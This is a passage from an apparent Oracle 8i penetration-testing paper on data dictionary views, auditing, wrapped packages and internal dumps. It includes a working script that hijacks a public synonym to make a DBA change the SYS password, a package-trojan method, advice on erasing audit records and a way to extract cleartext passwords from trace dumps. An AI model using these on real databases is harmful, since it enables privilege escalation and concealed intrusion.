ALL_OBJECTS	This view shows information about all objects in the database that the user querying it can see.
USER_OBJECTS	This view shows information about all objects in the database that the user querying it owns.

How to read the source code of Views

Views can be a good source of information as to how various tables in the database are joined relationally. The source code for views is never *wrapped* and can be read by selecting from the views `DBA_VIEWS, ALL_VIEWS` and `USER_VIEWS`. The DBA view shows all views in the database, the ALL view shows all views visible to this user and the USER view shows views that are owned by this user. If you know the name of the view you can select the source as follows for an example using `ALL_CONSTRAINTS`:

```
SQL> set pause off
```

```
SQL> set long 100000
SQL> set pages 0
SQL> select text from dba_views
  2  where view_name='ALL_CONSTRAINTS';
select ou.name, oc.name,
         decode(c.type#, 1, 'C', 2, 'P', 3, 'U',
                4, 'R', 5, 'V', 6, 'O', 7,'C', '?'),
       o.name, c.condition, ru.name, rc.name,
       decode(c.type#, 4,
              decode(c.refact, 1, 'CASCADE', 'NO ACTION'), NULL),
       decode(c.type#, 5, 'ENABLED',
              decode(c.enabled, NULL, 'DISABLED', 'ENABLED')),
       decode(bitand(c.defer, 1), 1, 'DEFERRABLE', 'NOT DEFERRABLE'),
       decode(bitand(c.defer, 2), 2, 'DEFERRED', 'IMMEDIATE'),
       decode(bitand(c.defer, 4), 4, 'VALIDATED', 'NOT VALIDATED'),
       decode(bitand(c.defer, 8), 8, 'GENERATED NAME', 'USER NAME'),
       decode(bitand(c.defer,16),16, 'BAD', null),
       decode(bitand(c.defer,32),32, 'RELY', null),
       c.mtime
from sys.con$ oc, sys.con$ rc, sys.user$ ou, sys.user$ ru,
     sys.obj$ o, sys.cdef$ c
where oc.owner# = ou.user#
  and oc.con# = c.con#
  and c.obj# = o.obj#
  and c.type# != 8
  and c.rcon# = rc.con#(+)
  and rc.owner# = ru.user#(+)
  and (o.owner# = userenv('SCHEMAID')
       or o.obj# in (select obj#
                     from sys.objauth$
                     where grantee# in ( select kzsrorol
                                         from x$kzsro
                                       )
                    )
        or /* user has system privileges */
          exists (select null from v$enabledprivs
                  where priv_number in (-45 /* LOCK ANY TABLE */,
                                        -47 /* SELECT ANY TABLE */,
                                        -48 /* INSERT ANY TABLE */,
                                        -49 /* UPDATE ANY TABLE */,
                                        -50 /* DELETE ANY TABLE */)
                  )
      )
```

This example shows the source code of one of the standard views shipped with the database. As you can see it clearly shows the relationships between various data dictionary tables. This can allow you to learn about the internal structure of the Oracle *RDBMS* and if applied to application views can be used to see the structure of the database schema and help you to find the data you need.

Showing who is logged in and what they are doing

Finding out who is logged onto the database at any time is easy with the following script. It should be noted that this doesn't show users accessing a database via one of the Oracle Application agents such as PL/SQL cartridges. This is because users log into the web server and each cartridge maintains its own connection to the *RDBMS*. Each user using the functions in a cartridge share the same session to the database.

```
-- name       : who.sql
-- date       : Jul-2001
-- Author     : Pete Finnigan
-- Description: Get details of who is logged onto an Oracle database.
-- limitation : need to have select privilege on v_$process and v_$session.
--
-- usage     : SQL> connect username/password @who.sql

col status for a8
col spid for a9
col username for a10
col sid for 9999
col serial# for 999999
col uname for a10

select  s.status,
                p.spid,
                p.username,
                s.sid,
                s.serial#,
                s.username uname
from            v$process p,
                v$session s
where   p.addr=s.paddr
/
exit
```

It is useful to know who else is logged onto the database and what they are doing especially if you shouldn't be in there in the first place. Running it on a Windows NT installation of 8i will give an output similar to the following:

```
SQL> @..\scripts\who.sql

STATUS   SPID      USERNAME     SID SERIAL# USRNAME
-------- --------- ---------- ----- ------- ----------
ACTIVE   808       SYSTEM         1       1
ACTIVE   816       SYSTEM         2       1
ACTIVE   760       SYSTEM         3       1
ACTIVE   828       SYSTEM         4       1
ACTIVE   832       SYSTEM         5       1
ACTIVE   844       SYSTEM         6       1
ACTIVE   320       SYSTEM         7    2857
ACTIVE   836       SYSTEM         8    2857
ACTIVE   1232      SYSTEM        11    2333 DBSNMP

9 rows selected.

SQL>
```

The following script can be used to find out what a particular user is doing at the time, this can be used to see exactly the SQL being executed by someone. This can be useful when used in conjunction with SQL Injection attack. You may be able to guess what the screen is doing, but not be sure. Running a script such as this enables one to see exactly what SQL has been generated and submitted to the server. Using Oracle *TRACE* can also be useful in this case as its possible with trace level 12 to see the bind variables and their values. See Trace files for a discussion of Oracle trace.

Here is the source for `sql.sql`, this script can be downloaded from the downloads page on www.pentest-limited.com, here it is:

```
-- name       : sql.sql
-- date       : Jul-2001
-- Author     : Pete Finnigan
-- Description: Get the sql someone is running in another database session
-- limitation : need to have select privilege on v_$sqltext and v_$sqlarea
--
-- usage     : SQL> connect username/password @sql.sql [SID] [serial]
spool sql.lis
undefine usersid
undefine userserial

col hash_value noprint
break on hash_value skip 1 nodup

col sql_text for a64 head 'SQL Code'
set lines 132 pause off

select  sqla.hash_value,
                sqlt.sql_text
from            v$session sess,
                v$sqlarea sqla,
                v$sqltext sqlt,
                v$process proc
where sess.username is not null
and proc.addr = sess.paddr
and sess.audsid != userenv('SESSIONID')
and sess.sql_address = sqla.address
and sess.sql_hash_value = sqla.hash_value
and sqla.address = sqlt.address
and sqla.hash_value = sqlt.hash_value
and sess.sid='&&usersid'
and sess.serial#='&&userserial'
order by sess.last_call_et desc,
          sqla.address,
        sqla.hash_value,
        sqlt.piece;
clear breaks
spool off
```

Here is a sample output session showing what the user *DBSNMP*, we are watching is doing:

```
SQL> @who

STATUS   Process I USERNAME     SID SERIAL# USRNAME
-------- --------- ---------- ----- ------- ----------
ACTIVE   808       SYSTEM         1       1
ACTIVE   816       SYSTEM         2       1
ACTIVE   760       SYSTEM         3       1
ACTIVE   828       SYSTEM         4       1
ACTIVE   832       SYSTEM         5       1
ACTIVE   844       SYSTEM         6       1
```

```
ACTIVE   320       SYSTEM         7    3581
ACTIVE   836       SYSTEM         8    3581
ACTIVE   1236      SYSTEM        11    2347 SYSTEM
INACTIVE 800       SYSTEM        12    1011 DBSNMP

10 rows selected.

SQL> @sql
Enter value for usersid: 12
old  14: and sess.sid='&&usersid'
new  14: and sess.sid='12'
Enter value for userserial: 1011
old  15: and sess.serial#='&&userserial'
new  15: and sess.serial#='1011'

SQL Code
-------------------------------------------------------------
select sysdate from dual

SQL>
```

As you can see this along with using the Oracle Trace facility will be a useful weapon in finding out how to SQL Inject Oracle applications. It is possible to write SQL to extract all of the SQL from the *SGA* or SQL based on the number of times it has been used or the most time taken and so on. A good script called peep.sql is available for download from www.oriole.com.

Auditing and seeing if its on

Oracle auditing is very large and complex. The main issue for someone hacking the database is to find out if its turned on and to what level so that they can know they are being tracked and remove the audit trail if necessary.

Oracle audit can be used to monitor who accesses the database, and when and from where. The audit facility can also be used to monitor database performance. Oracle audit is invariably not used to any great extent, as if it's set up to audit too many things it kills the performance of the database. If you audit everything then the database has to do twice the work. Once to do the work and once to write the audit records.

The standard Oracle auditing functionality does not support auditing at the row or record level. You can audit actions at the table level, but not what has changed on a record or row. It is possible to audit at the row level but this involves bespoke applications using database triggers. If you are paranoid then check for triggers owned by the schema owner and then look at the source code. The following code will tell you who has triggers and on what tables.

```
SQL> l
  1  select owner,trigger_name,trigger_type,triggering_event,table_name
  2* from dba_triggers
SQL> /

OWNER      TRIGGER_NAME                    TRIGGER_TYPE
---------- ------------------------------ ----------------
TRIGGERING_EVENT
------------------------------------------------------------------------------
TABLE_NAME
------------------------------
SYSTEM     REPCATLOGTRIG                  AFTER STATEMENT
UPDATE OR DELETE
REPCAT$_REPCATLOG
```

```
MDSYS      PXF_TRIG                       BEFORE EACH ROW
INSERT OR UPDATE OR DELETE
PXF_TEST

SQL>
```

There are no audit triggers in this test database so there are only two real triggers in here. If row level auditing were on there would likely be a lot of triggers. If you are paranoid then check the table you are accessing to make sure there is no trigger. The key here is that in Oracle its not possible to set a trigger to fire for a select, so if you are just looking then row level auditing using triggers will not catch you out.

The audit trail in Oracle 8i can be in or out of the database. That is audit records can be written directly to the database or to an operating system file. To see if auditing is switched on you can check the initialisation file parameter `AUDIT_TRAIL` as follows.

```
SQL> col name for a35
SQL> col value for a35
SQL> select name,value
 2  from v$parameter
         3  where name='audit_trail';

NAME                                VALUE
----------------------------------- -------------------------------------
audit_trail                         NONE

SQL>
```

As you can see auditing is not switched on in this test database. The values for this parameter are as follows.

- **NONE**. No default auditing will occur.
- **OS**. System wide auditing is turned on and the audit results will be sent to a file in the directory pointed to by the parameter `audit_file_dest`.
- **DB**. System wide auditing is enabled and the results will be stored in the table `sys.aud$`

There are a number of views that Oracle provide against the `sys.aud$` table. These can be viewed to see what audit information has been gathered. Remember all of the data is actually stored in `sys.aud$`. The list of audit views can be found as follows:

```
SQL> select object_name
  2  from dba_objects
  3  where object_name like '%AUDIT%'
  4  and object_type='VIEW'
  5  and owner='SYS'
  6  order by object_name;

OBJECT_NAME
------------------------------
ALL_DEF_AUDIT_OPTS
ALL_REPAUDIT_ATTRIBUTE
ALL_REPAUDIT_COLUMN
DBA_AUDIT_EXISTS
DBA_AUDIT_OBJECT
DBA_AUDIT_SESSION
DBA_AUDIT_STATEMENT
```

```
DBA_AUDIT_TRAIL
DBA_OBJ_AUDIT_OPTS
DBA_PRIV_AUDIT_OPTS
DBA_REPAUDIT_ATTRIBUTE
DBA_REPAUDIT_COLUMN
DBA_STMT_AUDIT_OPTS
SM$AUDIT_CONFIG
USER_AUDIT_OBJECT
USER_AUDIT_SESSION
USER_AUDIT_STATEMENT
USER_AUDIT_TRAIL
USER_OBJ_AUDIT_OPTS
USER_REPAUDIT_ATTRIBUTE
USER_REPAUDIT_COLUMN

21 rows selected.

SQL>
```

You can see just how these views get their data by looking at their source code as shown in the section about reading views source code. The view `DBA_AUDIT_EXISTS` is of interest as it shows attempts to access tables or views where the user does not have privilege to do so. So if auditing is turned on and you repeatedly try and access tables you cannot see, beware!.

Some actions are logged or audited to the alert log. This is located in the directory pointed to by the parameter `background_dump_dest`. Database creation, structural changes, admin connections and database startup and shutdown are all logged to the alert log. A user with the privilege `audit system` is needed to change auditing actions.

There are a large number of audit actions, 144 in Oracle 8.1.5 on Windows NT. These can be seen by selecting from the table `audit_actions`. Also take note of the table `audit$`. All of the different actions that can be audited against an object can be seen in the view `DBA_OBJ_AUDIT_OPTS`, the `USER_` version shows the same information for each users objects. The main view to use to see the audit trail is the view `DBA_AUDIT_TRAIL`. You may also find that some *dba*'s create summary tables or views based on `sys.aud$` and some of the standard audit views.

There are clearly a vast amount of combinations of audit settings and too many to discuss here. One thing to watch for is if the *dba* has enabled auditing for failed log in attempts.

The obvious thing a hacker will want to do is remove evidence of his access to the system. This can be done by truncating the `sys.aud$` table or deleting the records from this table. Of course a better hacker will want to remove just the trace of his access, this would have to be defined at the time based on what he had done and when and as who. Obviously he would determine what audit was set and what audit records he had created. Pentest Limited intend to produce a paper detailing Oracle Auditing.

Oracle 8i Password ageing features

One of the new features of Oracle 8i are the password ageing and control features. Oracle 8i allows you to control the management of database users passwords. Some of the features are as follows:

- Lock out new account log in
- Set passwords to expire after a specific period of time.
- Allow a grace period after expiration before the account is locked out.
- Lock and Un-Lock accounts manually.
- Prevent password re-use for a specified period of time
- Force a password to meet complexity criterion

The last point is the most interesting as it means that a PL/SQL function has been created and inserted into the SYS schema of the

database. It is this function that is called when password complexity checking is done when a password is changed.

Having a look at the file `$ORACLE_HOME/rdbms/admin/utlpwdmg.sql` can give you an insight to the parameters used in the password control. It also shows an example PL/SQL function that is called when the new Oracle 8i keyword `password` is used to change a users password. If a database has this functionality installed then the function will be pointed at by the parameter `PASSWORD_VERIFY_FUNCTION`. This can be selected as follows:

```
SQL> select *
  2  from dba_profiles
  3  where resource_name='PASSWORD_VERIFY_FUNCTION';

DEFAULT                         PASSWORD_VERIFY_FUNCTION         PASSWORD
UNLIMITED

SQL>
```

The above shows that a function is not installed in this test database, but if it was the name would be displayed here. Because the password functionality is installed at the profile level, you need to select the profile from `DBA_USERS` first and then from `DBA_PROFILES`. The example above is slightly different as only the default profile exists on this test database. Reading the source code of the password function can be done by selecting it from the view `DBA_SOURCE` where the name column is the name of the PL/SQL function.

Reading this function will give an insight into the sites security policy and what the limits for passwords are when attempting to guess or crack them. The other parameters in the view `DBA_PROFILES` should be considered, a good example would be the `FAILED_LOGIN_ATTEMPTS` parameter. If its set then beware attempting multiple password guesses.

Planting a trojan

It may be necessary to sometimes plant a trojan in an Oracle database, maybe to collect information about other users, maybe to try and get password details. There are a number of ways to plant trojans in Oracle, here are three examples.

- ***Repeating Jobs***. PL/SQL jobs could be written or *cron* jobs that look for passwords on the command line, or attempt to find patterns in the usage of functions and procedures that could be used to gain access.
- ***Altering Built in Packages***. This method is described in the section on the built in packages, and could be used to plant code that will alter the *SYS* passwords or grant a privilege to another user.
- ***Using DBMS_SYS_SQL***. This method is described in the section on this package and can be used to plant a function or procedure that we would trick a *DBA* into executing.

There are many other ways of planting trojans in the oracle database. A future paper from Trojans will be available to discuss this subject in detail.

PL/SQL wrap utility

Oracle provide a Utility called *wrap*, this is located in the `ORACLE_HOME/bin` directory. This program is used to encrypt PL/SQL before it is loaded into the database. This means that PL/SQL that is wrapped isn't viewable by anyone trying to select the source from the database. PL/SQL source code for *packages, procedures, functions and triggers* is stored in a *SYS* owned table called `SOURCE$`. There is a *dba* view called `DBA_SOURCE` that allows access to `SOURCE$`. Another view `DBA_VIEWS` allows the source code of views to be viewed. To select the source for a function do the following:

```
SQL> set long 1000000
SQL> set pages 0
SQL> select text
```

```
  2  from dba_source
  3  where name='PXF_TEST';
function pxf_test
return date
as
        dummy_date      date;
begin
        select  sysdate
        into    dummy_date
        from    sys.dual;
        dbms_output.put_line('Date is :'||dummy_date);
        return dummy_date;
end;

11 rows selected.

SQL> spool off
```

This function, is created as a test case and it is not wrapped. All of the built in Oracle packages such as `DBMS_OUTPUT` are wrapped and we don't know how Oracle implemented them. It would be useful to know this, to see if there are any security holes.

As far as I am aware no one has yet cracked the encryption used by *wrap*. But never mind there are still a few options to find out information about Oracle built in packages. Just reading the encrypted code gives us some clues, there is still straight text in these packages, some SQL used is shown as ASCII text as are the function names and the 'C' functions used to implement the functionality. Yes, that's right most of PL/SQL and Oracle's built in packages are written in 'C' and these 'C' functions are called through a different mechanism than the one used by user programs from Oracle 8. The syntax is as follows:

```
  procedure do_something(a_var binary_integer, another_var binary_integer);
    pragma interface (C, do_a_c_function);
```

Oracle also gives us a tantalising hint that the function of their internal packages if altered in anyway would cause errors or security breaches. This can be seen by browsing the change history of the SQL files in `ORACLE_HOME/rdbms/admin`. The PSD* routines are singled out specifically. If you search the code you will find no mention anywhere of them !!. These are 'C' functions in Oracle 'C' source files called psd***.c. How do we know this?, well luckily with older versions of Oracle the source for the some of the built-in package bodies used to be supplied and you can see how it was done.

The names of the 'C' functions can still be seen in the wrapped bodies after the lines:

```
1PRAGMA:
1INTERFACE:
1C:
```

A simple package was written using this same syntax and calling one of the built in functions. The package compiled successfully but executing it results in an `ORA-6509` error. This is explained as `ICD: vector missing for this package`. This means that oracle have a function pointer table somewhere with function / package pairs loaded. This route also precludes installing the built in packages as a user such as DBSNMP from source with the hope of running a package that executes SQL as SYS as our user. The same ICD error occurs after a lot of fiddling to get a package to compile. The package `DBMS_UTILITY` runs SQL as the user SYS irrespective of who is the caller.

All is not lost, it is still possible to change the wrapped body of a package and get it to do something else. Change the line `1alter session set sql_trace true:` to `1alter user sys identified by sys:` in prvtutl.plb and re installed it as the

user SYS. Call:

```
SQL>exec dbms_session.set_sql_trace(true);
```

As the user `DBSNMP` results in an error `ORA-1031`, insufficient privileges, but as the user *SYS* it works and changes the *SYS* password. Clearly not ideal, but a candidate for a trojan. If the SQL files in `ORACLE_HOME/rdbms/admin` are writable by any user then various pieces of SQL in the wrapped package could be changed to plant a trojan. Most *dbs*'s re-run *catproc.sql* and *catalog.sql* at some point. The trick is finding a function that will be run reasonably regularly as *SYS* or a *dba* and adding your SQL to it and hope a *dba* runs it.

If you can get hold of an installation CD for Oracle 7 then its worth doing so just to look at the way Oracle have implemented some of the built in packages.

Even though the built in packages are wrapped, it is still possible to glean some information from them and use them for potential attacks.

How Oracle stores information about all users database objects

Oracle allows the creation of multiple users and objects owned by those users, in simple terms multiple databases within one database, although they are actually all in one database. How does Oracle control each user and store information about the database objects owned by those users? Oracle cleverly uses the same technology to store information about the structure of users database objects in tables owned by the oracle superuser SYS.

These tables are known as the $ tables and will be discussed later in this article. When a user accesses or updates the structure of their own tables oracle has to update it's records in the $ tables to reflect the changes you have made to your objects. This is known as "*recursive SQL*" and you will come across reference to this in Oracle trace files.

Therefore to learn about the structure of a users schema it is possible to query the $ tables owned by SYS. There are a number of database views written and supplied by Oracle that make it easier to get information about schema structure. It gets confusing when one can see that Oracle also stores information about objects owned by SYS in the same tables. How can it store information about the tables that hold the information about the structure, a conundrum? Oracle gets round this when the database is built. When the `create database` command is executed by the *dba* who creates the database an Oracle supplied script *sql.bsq* is run in the background, it is this script that creates all of the objects in the system tablespace. All of these objects are known as the data dictionary. Reviewing this file can give a lot of insight into how Oracle works internally. You will notice that the syntax is not completely SQL as there are some oracle specific items in there.

Oracle stores all of the actual data, tables, indexes and objects in datafiles. These datafiles are created as part of "*tablespaces*". Within the tablespaces there are extents that automatically extend to add more storage as required within the datafiles. These extents are broken down into blocks. The size of these blocks are determined by the initialisation file (INIT.ora) parameter db_block_size.

The structure of database blocks is not really fully documented, but it is possible to locate the actual location of data within a block and to extract that data. This will be discussed in a future paper Analysing Oracle data storage.

The datafiles hold the actual data. The data is stored logically in `TABLESPACES`. These tablespaces hold the actual objects, such as tables and indexes. As you would expect with Oracle by now there is a hierarchy involved here and there are dictionary views available to see where objects are located and who owns what. The following SQL shows all of the objects in the database, grouped by owner.

```
SQL> col object_type for a30
SQL> col owner for a10
SQL> select owner,object_type,count(*)
  2  from dba_objects
  3  group by object_type,owner
```

```
  4  order by owner,object_type;

OWNER      OBJECT_TYPE                    COUNT(*)
---------- ------------------------------ ---------
CTXSYS     INDEX                                 35
CTXSYS     INDEXTYPE                              1
CTXSYS     LIBRARY                                2
CTXSYS     OPERATOR                               2
CTXSYS     PACKAGE                               29
CTXSYS     PACKAGE BODY                          24
CTXSYS     PROCEDURE                              1
CTXSYS     SEQUENCE                               3
CTXSYS     TABLE                                 26
CTXSYS     TYPE                                   4
CTXSYS     TYPE BODY                              3
CTXSYS     UNDEFINED                              1
CTXSYS     VIEW                                  33
DBSNMP     PROCEDURE                              1
DBSNMP     SYNONYM                                4
DBSNMP     TABLE                                  1
SYS        CLUSTER                                9
SYS        CONSUMER GROUP                         4
SYS        FUNCTION                              13
SYS        INDEX                                203
SYS        JAVA CLASS                          4011
SYS        JAVA RESOURCE                          4
SYS        LIBRARY                               20
SYS        PACKAGE                              182
SYS        PACKAGE BODY                         177
SYS        PROCEDURE                             10
SYS        RESOURCE PLAN                          1
SYS        SEQUENCE                              29
SYS        SYNONYM                                6
SYS        TABLE                                191

OWNER      OBJECT_TYPE                    COUNT(*)
---------- ------------------------------ ---------
SYS        TYPE                                  78
SYS        UNDEFINED                              5
SYS        VIEW                                1336
SYSTEM     INDEX                                 68
SYSTEM     PACKAGE                                1
SYSTEM     PACKAGE BODY                           1
SYSTEM     PROCEDURE                              1
SYSTEM     QUEUE                                  4
SYSTEM     SEQUENCE                              11
SYSTEM     SYNONYM                               59
SYSTEM     TABLE                                 48
SYSTEM     TRIGGER                                1
SYSTEM     UNDEFINED                             13
SYSTEM     VIEW                                   3

77 rows selected.

SQL>
```

This listing shows who owns what objects in the database. If you want to know who owned the schema of an application that is to be hacked then this can probably be derived from this query. To see the structure of a specific table then use the `describe` command as follows>

```
SQL> desc pxf
 Name                                                      Null?    Type
 ----------------------------------------------------------------- -------- ------------------------
--------------
 COL_01                                                             VARCHAR2(10)

SQL>
```

Finding out how the tables of a schema relate to each other is harder, there are three techniques. You can select the view source code as described elsewhere in this document and one can select all of the code from `DBA_SOURCE` for all the packages and procedure and functions owned by the user of interest. This will give the embedded SQL and allow you to see how tables are joined. If the database schema has been well designed then you can also expect that constraints have been created between various tables. The details of these can be extracted from the data dictionary also, from the view `DBA_CONSTRAINTS`. It is also worth looking at the index views `DBA_INDEXES` and `DBA_IND_COLUMNS`. There is also a view `DBA_DEPENDENCIES` that can be used recursively with a `CONNECT PRIOR` statement to get the relationships between objects used in a piece of code.

DBMS_SYS_SQL.PARSE_AS_USER

This package is undocumented and is used in Oracles Replication Options. Stored procedures execute under the owners identity, not the identity of the caller. This is the case in Oracle 7.3 and 8.0. from Oracle 8i it is possible to define procedures to operate with the callers privileges.

The un-documented package `DBMS_SYS_SQL.PARSE_AS_USER` can allow you to install packages that run with the privileges of the caller rather than the owner. This is a potential hole that can be used to get a *dba* to run some SQL in the future, its the readers problem to work out how you would get a DBA to run it for you. The following is an example of how this function would work with this sample script.

```
--
-- dbms_sys.sql
-- Pete Finnigan
-- July 2001
--
-- Test dbms_sys_sql.parse_as_user
--
spool c:\pentest\temp\dbms_sys.lis

connect sys/manager
grant execute on dbms_sys_sql to dbsnmp;
connect dbsnmp/dbsnmp

create or replace procedure hack_user(pname in varchar2,
                                      uname in varchar2,
                                      dbname in varchar2,
                                      flags in varchar2,
                                      rc out varchar2)
as
        c1      integer;
        dummy   number;
begin
```

```
        c1:=dbms_sql.open_cursor;

        sys.dbms_sys_sql.parse_as_user(c1,
                        'alter user sys identified by sys',
                        dbms_sql.v7);
        sys.pstubt(pname,uname,dbname,flags,rc);
end;
/

drop public synonym pstubt;
create public synonym pstubt for hack_user;

set serveroutput on size 100000

declare
dummy varchar2(40);
begin
        pstubt('hack_user','',null,'8',dummy);
        dbms_output.put_line('dummy is :'||dummy);
end;
/

connect system/manager
declare
dummy varchar2(40);
begin
        pstubt('hack_user','',null,'8',dummy);
        dbms_output.put_line('dummy is :'||dummy);
end;
/

connect sys/sys
```

Running this script gives the following output.

```
Connected.

Grant succeeded.

Connected.

Procedure created.

drop public synonym pstubt
                    *
ERROR at line 1:
ORA-01432: public synonym to be dropped does not exist

Synonym created.

declare
*
ERROR at line 1:
ORA-01031: insufficient privileges
ORA-06512: at "SYS.DBMS_SYS_SQL", line 1137
ORA-06512: at "DBSNMP.HACK_USER", line 12
```

```
ORA-06512: at line 4

ERROR:
ORA-01017: invalid username/password; logon denied

Warning: You are no longer connected to ORACLE.
Connected.

PL/SQL procedure successfully completed.

Connected.
```

As you can see from this there is one main restriction in that you have to have had execute permission granted on the package DBMS_SYS_SQL. It's not un-reasonable to find a way that this could be done, or a database where this permission has been already granted. As you can see from this test case it is possible to create a procedure that changes the *SYS* users password (you could change any users password, or create a user or grant DBA to a user)in the user *DBSNMP*'s schema. This doesn't do much for us as the user *DBSNMP* as our user still does not have permission to alter anyone's password but my own.

The key is actually getting the user *SYS* or another *dba* to run this new procedure for you. I have searched through the DBA_OBJECTS for procedures owned by the user *SYS* and found an example PSTUBT that doesn't have public synonym already and created a public synonym called PSTUBT to point to my new procedure HACK_USER. The procedure chosen is for example only, ideally you would need to find a procedure or function that is regularly run by a *dba*.

This procedure calls the DBMS_SYS_SQL.PARSE_AS_USER to run a piece of code and then calls the original *SYS* owned procedure. This means that I have had to make the parameters of my procedure match those of the existing procedure. In this case the user *DBSNMP* has permission to run the *SYS* owned procedure. If this is not the case on the procedure you decide to hijack then don't call the original procedure as access errors would be shown if the real user writes to a log or O/S file.

Just for interest the procedure PSTUBT was added for Oracle Forms 3 and 4 and is called during compilation of Forms code to verify server PL/SQL functions, procedures and packages called. This was because Forms 3.0 and Forms 4.0 still use PL/SQL V1. This procedure creates a dummy *stub* so that the forms compiler can syntactically check the code in the form. If you have a database that still uses Forms 3 or 4 and someone compiles as a *dba* then this could be an opening.

The key to this hack is to find a procedure that is run regularly as a *DBA*, ideally this could be a scheduled job or an overnight batch program. You could replace a whole package, the world is your oyster on this one. Its not a true elevation of privileges as *execute* on DBMS_SYS_SQL needs to be granted to the user who creates the procedure, and the help of another user to execute it is needed.

Dumping the internal Oracle Structures

There are a number of undocumented commands that can be used with the ALTER SESSION command to dump out information about most of the internal Oracle Structures. These are invariably in the SGA, UGA, and PGA. The x$ tables as mentioned above are not fully documented and are actually 'C' structs in the SGA (Shared Memory Area). Most of the information below can be assumed to be stored in x$ tables unless anyone knows otherwise. www.pentest-limited.com are intending to produce a document about the x$ and $ tables.

Some of these commands will add value to Oracle security and some will not, but as they dump out Oracle internals and the key to Oracle security is understanding what goes on inside here they are:

- **alter session set events 'immediate trace name REDOHDR level 10'**. This dumps out the redo log headers.
- **alter session set events 'immediate trace name FILE_HDRS level 10'**. This dumps out the file headers.
- **alter session set events 'immediate trace name CONTROLF level 10'**. This dumps out the control file contents.

- **`alter session set events 'immediate trace name SYSTEMSTATE level 10'`**. This command dumps out the full system state. It should be run three times with a ten minute interval between each.
- **`alter session set events '10053 trace name context forever, level 1'`**. This event dumps the optimizer statistics whenever a piece of SQL is parsed. This shows how the COST based optimizer came up with its execution path.
- **`alter session set events 'immediate trace name PROCESSSTATE level 10'`**. This command dumps out the process state.

-
```
SQL> set serveroutput on size 1000000
        2 declare
        3       block   varchar2(40);
        4 begin
        5       block:=dbms_utility.make_data_block_address(1,10);
        6       dbms_output.put_line('block is :'||block);
        7 end;
        /

block is: 4194314
SQL> alter session set events 'immediate trace name blockdump level 4194314';
```

Each of the commands above creates a *trace* file in the *user_dump_dest*. Its location can be found with the following query:

```
SQL> col name for a30
SQL> col value for a30
SQL> select     name,value
 2   from               v$parameter
3    where              name='user_dump_dest';

NAME                           VALUE
------------------------ --------------------------------
user_dump_dest           C:\Oracle\admin\PENT\udump
```

The important command is the following one:

`alter session set events 'immediate trace name library_cache level 10'`

This command dumps the library cache into a trace file. If anyone has issued an `alter user, create user, grant connect..` command whilst the database has been up and whilst the *SQL* statement still resides in the *LRU* then you can get the full text of the statement from the trace file in full clear text. **This of course means that we can read the password.**

There is one issue with this, although a user such as *DBSNMP* can issue this command and create the trace file, the default setting for the permissions on trace files is that only *oracle* and the *dba* group can read the trace files. So near yet so far. Quite often *dba*'s make the trace files readable by public either by running cron jobs to change the permissions, or by setting an *un-documented* parameter to allow trace files to be world readable. It is a safe bet that if you cannot see the trace file then this value is not set. The parameter is `_trace_files_public` and it has to be set in the initialisation file. Its value can only be seen if you have access to the x$ tables as the user *SYS* like so:

```
SQL> select *
 2   from       x$ksppi
 3   where      ksppinm='_trace_files_public';
```

```
ADDR          INDX   INST_ID KSPPINM
KSPPITY
-------- --------- --------- ----------------------------------------------------------
------- ---------
KSPPDEC                                                          KSPPIFLG
---------------------------------------------------------------- ---------
00C864A0         0         1 _trace_files_public
1
Create publicly accessible trace files                                 0
```

oradebug

oradebug is the un-documented tool provided as part of the *svrmgrl* tool. This debugger is un-documented by Oracle and there is very little information about it out there. Oracle allow you to use it to set events in the database and to dump database structures. There are a number of built in commands. Type `svrmgrl> oradebug help` to see the following list:

```
HELP           [command]                Describe one or all commands
SETMYPID                                Debug current process
SETOSPID                         Set OS pid of process to debug
SETORAPID       ['force']       Set Oracle pid of process to debug
DUMP                   Invoke named dump
DUMPSGA        [bytes]                  Dump fixed SGA
DUMPLIST                                Print a list of available dumps
EVENT                             Set trace event in process
SESSION_EVENT                     Set trace event in session
DUMPVAR         [level]  Print/dump a fixed PGA/SGA/UGA variable
SETVAR            Modify a fixed PGA/SGA/UGA variable
PEEK            [level]      Print/Dump memory
POKE                   Modify memory
WAKEUP                           Wake up Oracle process
SUSPEND                                 Suspend execution
RESUME                                  Resume execution
FLUSH                                   Flush pending writes to trace file
TRACEFILE_NAME                          Get name of trace file
LKDEBUG                                 Invoke lock manager debugger
NSDBX                                   Invoke CGS name-service debugger
-G                                      OPS-command prefix
SETINST                                 set instance list
RELEASE                                 release instance list
CORE                                    Dump core without crashing process
IPC                                     Dump ipc information
UNLIMIT                                 Unlimit the size of the trace file
PROCSTAT                                Dump process statistics
CALL            [arg1] ... [argn]  Invoke function with arguments
```

There are some tantalising commands in the list above. It appears that with the right knowledge any address can be dumped and changed whilst Oracle is running with the *peek* and *poke* commands. I have not been able to find out the arguments and commands for the two debuggers that can be called from here, `LKDEBUG` and `NSDBX`. It also would seem that functions can be called, could these be 'C' functions ?.

On Unix it also seems that you have to actually be logged onto Unix as the user *oracle* for *oradebug* to work.

From Oracle 8i *oradebug* can also be used in *SQL*Plus*.

Clearly this tool could provide an opening for DOS (Denial of Service) attacks by screwing the database. It would also be possible to screw the database by a *dba* inserting or deteling or updating records in the $ (dollar) tables. This tool and the system tablespace and Oracle dictionary have to be protected.

Calling Oracle without loging on

It is possible to access Oracle without any of the Oracle tools and for example take a system state dump and write it to trace. This may be if you cannot log onto the database using *sqlplus* or *svrmgrl*. You need to attach to an Oracle shadow process using a debugger such as *dbx*.

The following set of commands can be used to take a system state dump. Calling further internal Oracle functions, obviously seems possible, but this has not been investigated yet.

```
# dbx -a [PID of an Oracle shadow process]
(dbx) print ksudss(10)
... a return value will be printed.
(dbx)detach
```

That will create a system state dump trace file in the `user_dump_dest`. The possibilities here are limitless.

PL/SQL debugger

Up until *Oracle 7.2.3* an interface was provided to the PL/SQL debugger in the Oracle kernel. This debugger API is called *Probe*. The previously shipped PL/SQL interface PL/SQL package interface was removed as Oracle had allowed third parties to develop PL/SQL debuggers. The interface is now back and the package is called `DBMS_DEBUG`. There are a large number of functions and procedures in this package that can be used to debug PL/SQL programs.

There is some documentation with the standard Oracle document set and there are plenty of references on the Internet. I am not going to say much more about this package, other than it can be used to gain insight into PL/SQL that is part of a third party application. The source may be available in the database and it will need compiling again with debug information, But as part of an investigation for say SQL Injection a PL/SQL debugger would prove useful.

PL/SQL Trace Package

